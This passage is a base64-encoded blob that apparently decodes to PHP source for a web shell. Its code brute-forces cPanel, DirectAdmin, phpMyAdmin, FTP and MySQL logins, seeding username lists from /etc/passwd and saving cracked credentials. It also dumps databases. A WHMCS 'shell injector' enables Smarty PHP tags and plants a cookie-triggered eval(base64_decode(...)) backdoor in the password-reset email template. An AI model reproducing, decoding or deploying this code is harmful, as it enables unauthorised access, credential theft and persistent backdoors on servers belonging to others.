hva2kuc3FsJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gIjxicj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CiR1c2Vyb
mFtZSA9ICgkX1BPU1RbJ2hva2kzJ10pOwokcGFzc3dvcmQgPSAoJF9QT1NUWydob2tpNCddKTsKJGRibmFtZSA9ICgkX1BPU1RbJ2hva2k1J10pOwokZGZpbGUgPSAoJF9QT1NUWydob2tpNiddKTsKJGhvc3QgPSAoJF9QT1NUWydob2tpNyddKTsK
aWYoIWVtcHR5KCRkYm5hbWUpKXsKZWNobyBfX3ByZSgpOwokbXNnID0gIjxjZW50ZXI+Q2hlY2sgdGhpcyA6ICA8Zm9udCBjb2xvcj0ncmVkJz4iLiRkZmlsZS4iPC9mb250PjwvY2VudGVyPiI7CmlmKEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXN
lcm5hbWUsJHBhc3N3b3JkLCRkYm5hbWUpKXsKaWYoc3RybGVuKGhva2lFeCgibXlzcWxkdW1wIikpPjApewpob2tpRXgoIm15c3FsZHVtcCAtLXNpbmdsZS10cmFuc2FjdGlvbiAtLWhvc3Q9XCIkaG9zdFwiIC0tdXNlcj1cIiR1c2VybmFtZVwiIC
0tcGFzc3dvcmQ9XCIkcGFzc3dvcmRcIiAkZGJuYW1lID4gJyIuYWRkc2xhc2hlcygkZGZpbGUpLiInIik7CmVjaG8oJG1zZyk7Cn1lbHNlewpfX2FsZXJ0KCJFcnJvci4uLiEiKTsKfQp9ZWxzZXsKZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjd
CA6IEVycm9yITwvY2VudGVyPicpOwp9Cn0KZWNobygnPC9kaXY+Jyk7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBIb2tpX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pewppZighJGluZm9bJ215c3FsJ10pCiR1cmwgPSAkaW5mb1sncHJvdG9j
b2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10uJy9DTURfTE9HSU4nOwplbHNlICR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJy9waHBteWFkbWluJzsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9
zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRm
lyZWZveC8xNy4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSL
DApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUlBXRCwgJGluZm9bJ3VzZXJuYW1l
J10uJzonLiRpbmZvWydwYXNzd29yZCddKTsKaWYoJGluZm9bJ215c3FsJ10pY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0FOWSk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSB
jdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcm
VnX21hdGNoKCcvQ01EX0ZJTEVfTUFOQUdFUnxmcmFtZXNldC9pJywkcmVzdWx0KSl7CmVjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkI
j4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOwokaW5mb1sndGFyZ2V0J10gPSAkdXJsOwpDcmFja2VyUmVzdWFsdCgkaW5mbyk7Cn0KY3VybF9jbG9z
ZSgkY3VybCk7Cn0KZnVuY3Rpb24gSG9raV9DUF9DcmFja2VyKCRpbmZvKXsKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXTsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN
1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy
4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwpjdXJsX
3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIkF1dGhvcml6YXRpb246IEJhc2ljICIgLiBfX1pXNWpiMlJsY2coJGluZm9bJ3VzZXJuYW1l
J10uIjoiLiRpbmZvWydwYXNzd29yZCddKSAuICJcblxyIikpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOwokcmVzdWx0ID0gQGN1cmxfZXhlYygkY3VybCk7CiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7CiR
jdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7CmlmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fQplbHNlaWYocHJlZ19tYXRjaCgnL2ZpbGVtYW5hZ2
VyL2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9ud
CBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBIb2tpX0ZUUF9DcmFj
a2VyKCRpbmZvKXsKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXTsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFR
fVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3
NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAiIi4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIiIpOwokcmVzdWx0ID0gQGN1cmxfZXhlYygkY3VybCk7CiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7C
iRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7CmlmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fQplbHNlaWYocHJlZ19tYXRjaCgnLyhcZCspOihc
ZCspL2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9
udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBIb2tpX015c3FsX0
NyYWNrZXIoJGluZm8pewppZihAbXlzcWxpX2Nvbm5lY3QoJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKSl7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKZWNobyAnVXNlc
k5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3Vj
Y2Vzcy4uLi48L2ZvbnQ+PGJyPic7Cn0KfQpmdW5jdGlvbiBIb2tpX0ZUUEMoJGluZm8pewppZigkY29uPUBmdHBfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10sJGluZm9bJ3BvcnQnXSkpewppZigkY29uKXsKJGxvZ2luPUBmdHBfbG9naW4oJGNvbiw
kaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSk7CmlmKCRsb2dpbil7Q3JhY2tlclJlc3VhbHQoJGluZm8pO319fQpAZnRwX2Nsb3NlKCRjb24pOwp9CmZ1bmN0aW9uIENyYWNrZXJSZXN1YWx0KCRpbmZvKXsKJHJlcyA9ICRpbmZvWy
d0YXJnZXQnXS4nID0+ICcuJGluZm9bJ3VzZXJuYW1lJ10uIjoiLiRpbmZvWydwYXNzd29yZCddLiJcbiIgOwokYyA9IEBmb3BlbigkaW5mb1snZmNyYWNrJ10sJ2ErJyk7CkBmd3JpdGUoJGMsICRyZXMpOwpAZmNsb3NlKCRjKTsKfQpmdW5jdGlvb
iBIb2tpX0NhbGxfRnVuY3Rpb25fQ3JhY2tlcigkbWV0aG9kLCRpbmZvKXsKc3dpdGNoKCRtZXRob2Qpe2Nhc2UgJ2NwJzpyZXR1cm4gSG9raV9DUF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdkaXJlY3QnOiBjYXNlICdwaHBteWFkbWluJzpy
ZXR1cm4gSG9raV9EaXJlY3RBZG1pbl9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdmdHAnOnJldHVybiBIb2tpX0ZUUF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEhva2lfTXlzcWxfQ3JhY2tlcigkaW5mbyk7YnJ
lYWs7Y2FzZSAnbXlzcWwnOnJldHVybiBIb2tpX0ZUUEMoJGluZm8pO2JyZWFrO30KfQpmdW5jdGlvbiBob2tpQ3JhY2tlcnMoKXsKaG9raWhlYWQoKTsKSG9raU51bSg5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj48Y2VudGVyPjxicj
48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBCcnV0ZSBGb3JjZXIgfDwvZGl2Pjxicj48YnI+PGZvcm0gbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ0NyYWNrZXJzXCcsbnVsbCx0aGlzLnRhcmdldC52YWx1ZSx0aGlzLnBvcnQudmFsd
WUsdGhpcy51c2VybmFtZXMudmFsdWUsdGhpcy5wYXNzd29yZHMudmFsdWUsdGhpcy5mY3JhY2sudmFsdWUsXCdzdGFydFwnLHRoaXMucHJvdG9jb2wudmFsdWUsdGhpcy5sb2dpbnBhbmVsLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNz
PSJ0eHRmb250Ij5Mb2dpbiBQYWdlOiA8c2VsZWN0IG9uY2xpY2s9ImRpc19pbnB1dCh0aGlzLnZhbHVlKTsiIG5hbWU9ImxvZ2lucGFuZWwiPic7CmZvcmVhY2goYXJyYXkoJ2NwJz0+J0NwYW5lbCcsJ2RpcmVjdCc9PidEaXJlY3RBZG1pbicsJ2Z
0cCc9PidGVFAnLCdwaHBteWFkbWluJz0+J1BocE15QWRtaW5bRGlyZWN0QWRtaW5dJywnbXlzcWwnPT4nbXlzcWxfY29ubmVjdCgpJywnZnRwYyc9PidmdHBfY29ubmVjdCgpJykgYXMgJGtleT0+JHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLi
RrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTsKZWNobyAnPC9zZWxlY3Q+IFByb3RvY29sOiA8c2VsZWN0IGlkPSJwcm90b2NvbCIgbmFtZT0icHJvdG9jb2wiPic7CmZvcmVhY2goYXJyYXkoJ2h0dHBzOi8vJywnaHR0cDovLycsJ2Z0cDovLycpI
GFzICR2YWwpZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsLiciPicuJHZhbC4nPC9vcHRpb24+Jyk7CmVjaG8gJzwvc2VsZWN0PiBXZWJzaXRlL2lwIEFkZHJlc3M6IDxpbnB1dCBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YXJnZXQi
IHZhbHVlPSJsb2NhbGhvc3QiPgpQb3J0OiA8aW5wdXQgaWQ9InBvcnQiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSIyMDgzIj4KPHRhYmxlIHdpZHRoPSIzMCUiPjx0ZCBhbGlnbj0iY2VudGVyIj5Vc2VycyBMaXN0PC90ZD48dGQgYWx
pZ249ImNlbnRlciI+UGFzc3dvcmRzPC90ZD48L3RhYmxlPgo8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IlVzZXJzIiByb3dzPSIyMCIgY29scz0iMjUiIG5hbWU9InVzZXJuYW1lcyI+Jy4oJEdMT0JBTFNbJ3N5cyddPT0ndW5peCc/aG9raUV4KCJjdX
QgLWQ6IC1mMSAvZXRjL3Bhc3N3ZCIpOiIiKS4nPC90ZXh0YXJlYT4KJm5ic3AgPHRleHRhcmVhIHBsYWNlaG9sZGVyPSJQYXNzd29yZHMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjxicj48YnI+ClNhd
mUgUmVzdWx0IEludG8gRmlsZSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmNyYWNrIiB2YWx1ZT0iY3JhY2tlZC50eHQiPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjcmFja2luZyIgdmFsdWU9IiAiIC8+PC9kaXY+PC9mb3JtPjwv
cD48Y2VudGVyPic7CiR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJyksJycsJF9QT1NUWydob2tpMSddKTsKJHBvcnQgPSAkX1BPU1RbJ2hva2kyJ107CiR1c2VybmFtZXM9ICRfUE9TVFsnaG9
raTMnXTsKJHBhc3N3b3JkcyA9ICRfUE9TVFsnaG9raTQnXTsKJGZjcmFjayA9ICRfUE9TVFsnaG9raTUnXTsKJGNyYWNraW5nID0gJF9QT1NUWydob2tpNiddOwokcHJvdG9jb2wgPSAkX1BPU1RbJ2hva2k3J107CiRsb2dpbnBhbmVsID0gJF9QT1
NUWydob2tpOCddOwokcCA9ICRsb2dpbnBhbmVsID09ICdwaHBteWFkbWluJyA/ICRwID0gdHJ1ZSA6IGZhbHNlOwppZigkY3JhY2tpbmc9PSdzdGFydCcpewplY2hvIF9fcHJlKCk7CiRleHVzZXIgPSBleHBsb2RlKCJcbiIsJHVzZXJuYW1lcyk7C
iRleHB3ID0gZXhwbG9kZSgiXG4iLCRwYXNzd29yZHMpOwpmb3JlYWNoKCRleHVzZXIgYXMgJHVzZXIpewpmb3JlYWNoKCRleHB3IGFzICRwdyl7CiRhcnJheSA9IGFycmF5KCd1c2VybmFtZScgPT4gdHJpbSgkdXNlciksJ3Bhc3N3b3JkJyA9PiB0
cmltKCRwdyksJ3BvcnQnID0+IHRyaW0oJHBvcnQpLCd0YXJnZXQnID0+IHRyaW0oJHRhcmdldCksJ3Byb3RvY29sJyA9PiB0cmltKCRwcm90b2NvbCksJ2ZjcmFjaycgPT4gdHJpbSgkZmNyYWNrKSwnbXlzcWwnID0+ICRwKTsKSG9raV9DYWxsX0Z
1bmN0aW9uX0NyYWNrZXIoJGxvZ2lucGFuZWwsJGFycmF5KTsKfQp9CmVjaG8gJzxicj48Zm9udCBjb2xvcj0icmVkIj5BdHRhY2sgRmluaXNoZWQuLi48L2ZvbnQ+JzsKfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gb3
V0cHV0KCRzdHJpbmcpeyBlY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nI
i4kc3RyaW5nLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9CmZ1bmN0aW9uIGhva2lTaGVsbEluamVjdG9ycygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpIb2tpTnVtKDEx
KTsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDbXMgU2hlbGwgSW5qZWN0b3IgfDwvZGl2PjwvcD48Y2VudGVyPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmp
lY3RvcnNcJyxudWxsLFwnd2htY3NcJyxudWxsKSI+fCBXSE1DUyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsXCdteWJiXCcpIj58IE15QkIgfCA8L2E+PGEgaH
JlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxudWxsLG51bGwsXCd2YlwnKSI+fCB2QnVsbGV0aW4gfDwvYT48L2gzPjwvY2VudGVyPic7CiRzZWxlY3RvciA9ICc8cD48ZGl2IGNsYXNzPSJ0e
HRmb250Ij5TaGVsbCBJbmplY3QgTWV0aG9kIDogPC9kaXY+IDxzZWxlY3QgbmFtZT0ibWV0aG9kIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij48b3B0aW9uIHZhbHVlPSJhdXRvIj5BdXRvTWF0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtYW4iPk1h
bnVlbDwvb3B0aW9uPjwvc2VsZWN0PjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pICYmICRfUE9TVFsnaG9raTEnXT09ICd3aG1jcycpewpIb2tpTnVtKCk7CmVjaG8gX19wcmUoKS4iPHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXI
nPnwgV0hNQ1MgfDwvZGl2PjwvcD48Y2VudGVyPjxjZW50ZXI+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdTaGVsbEluamVjdG9ycycsbnVsbCwnd2htY3MnLG51bGwsbnVsbCx0aGlzLm1ldGhvZC
52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucGF0aC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CiR0YWJsZSA9IGFycmF5KCd0Z
DEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGF0aCBXSE1DUyBVcmwgOiAnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6
ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9
jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbn
B1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXIgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlc
icsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAn
ZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvcD48L2Zvcm0
+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydob2tpNiddKSkgewokZGJ1ID0gJF9QT1NUWydob2tpNiddOwokZGJuID0gJF9QT1NUWydob2tpNyddOwokZGJwID0gJF9QT1NUWydob2tpOCddOw
okZGJoID0gJF9QT1NUWydob2tpOSddOwokcGF0aCA9ICRfUE9TVFsnaG9raTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k0J107CiRpbmRleCA9ICJ7cGhwfSIuSE9LSV9VUExPQURFUi4iO3svcGhwfSI7CiRuZXdpbiA9IHN0cl9yZXBsYWNlK
CInIiwiXCciLCRpbmRleCk7CiRuZXdpbmRleCA9ICI8cD5EZWFyICRuZXdpbiw8L3A+PHA+UmVjZW50bHkgYSByZXF1ZXN0IHdhcyBzdWJtaXR0ZWQgdG8gcmVzZXQgeW91ciBwYXNzd29yZCBmb3Igb3VyIGNsaWVudCBhcmVhLiBJZiB5b3UgZGlk
IG5vdCByZXF1ZXN0IHRoaXMsIHBsZWFzZSBpZ25vcmUgdGhpcyBlbWFpbC4gSXQgd2lsbCBleHBpcmUgYW5kIGJlY29tZSB1c2VsZXNzIGluIDIgaG91cnMgdGltZS48L3A+PHA+VG8gcmVzZXQgeW91ciBwYXNzd29yZCwgcGxlYXNlIHZpc2l0IHR
oZSB1cmwgYmVsb3c6PGJyIC8+PGEgaHJlZj1cIntcJHB3X3Jlc2V0X3VybH1cIj57XCRwd19yZXNldF91cmx9PC9hPjwvcD48cD5XaGVuIHlvdSB2aXNpdCB0aGUgbGluayBhYm92ZSwgeW91ciBwYXNzd29yZCB3aWxsIGJlIHJlc2V0LCBhbmQgdG
hlIG5ldyBwYXNzd29yZCB3aWxsIGJlIGVtYWlsZWQgdG8geW91LjwvcD48cD57XCRzaWduYXR1cmV9PC9wPntwaHB9aWYoXCRfQ09PS0lFW1wic2VjXCJdID09IFwiMTIzXCIpe2V2YWwoYmFzZTY0X2RlY29kZShcJF9DT09LSUVbXCJzZWMyXCJdK
Sk7IGRpZShcIiFcIik7fXtcL3BocH0iOwppZighZW1wdHkoJGRiaCkgJiYgIWVtcHR5KCRkYnUpICYmICFlbXB0eSgkZGJuKSAmJiAhZW1wdHkoJGluZGV4KSl7CmlmKGZpbHRlcl92YXIoJHBhdGgsRklMVEVSX1ZBTElEQVRFX1VSTCkpewokY29u
biA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJGtpc2VTYXZlPSBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBtZXNzYWdlIGZyb20gdGJsZW1haWx0ZW1wbGF0ZXM
gd2hlcmUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciKTsKJGtpc2VHZXQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJGtpc2VTYXZlKTsKJHRlbXBTYXZlMSA9ICRraXNlR2V0WydtZXNzYWdlJ107CiR0ZW1wU2F2ZSA9IHN0cl9yZXBsYW
NlKCInIiwiXCciLCR0ZW1wU2F2ZTEpOwpteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSB0Ymxjb25maWd1cmF0aW9uIFNFVCB2YWx1ZSA9ICcxJyBXSEVSRSBzZXR0aW5nID0gJ0FsbG93U21hcnR5UGhwVGFncyciKSBvciBkaWUgKG15c3FsaV9lc
nJvcigkY29ubikpOwokaW5qZWN0ID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0nJG5ld2luZGV4JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNv
bm4sJGluamVjdCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGNyZWF0ZSA9ICJpbnNlcnQgaW50byB0YmxjbGllbnRzIChlbWFpbCkgdmFsdWVzKCdraXNlcnlvdW5pQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCR
jb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokSG9raVNvbGUgPSBuZXcgSG9raUNVUkwodHJ1ZSk7CiRzYXZldX
JsID0gJEhva2lTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokSG9raVNvbGUtPlNlbmQoJHBhd
GguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9a2lzZXJ5b3VuaUBmYmkuZ292Iik7CiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVt
cFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRLaXNlcnlvdW5pID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRiYWNrZGF0YSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgic2hlbGwgaW5
